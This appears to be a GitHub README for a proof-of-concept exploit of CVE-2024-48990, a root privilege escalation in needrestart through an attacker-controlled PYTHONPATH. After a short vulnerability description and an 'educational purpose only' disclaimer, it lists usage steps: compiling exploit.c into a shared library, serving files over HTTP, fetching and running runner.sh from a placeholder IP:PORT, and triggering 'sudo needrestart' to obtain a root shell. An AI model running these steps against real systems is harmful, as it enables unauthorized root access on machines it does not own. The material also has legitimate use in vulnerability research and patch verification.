grecosamuel/cve-2024-48990PoC about CVE-2024-48990. Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. (NIST)
[!WARNING] These files and informations are intended for educational purpose only. The author is not responsible for any malicious behavior. All informations provided are not intended to incite any type of crime or abuse.
Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. Check NIST for official details.
git clone https://github.com/grecosamuel/CVE-2024-48990.git
gcc -shared -fPIC -o __init__.so exploit.c
python3 -m http.server
wget http://IP:PORT/runner.sh
chmod +x runner.sh
./runner.sh
sudo needrestart
When read [*] CVE module created press CTRL+C to stop process and get your shell !
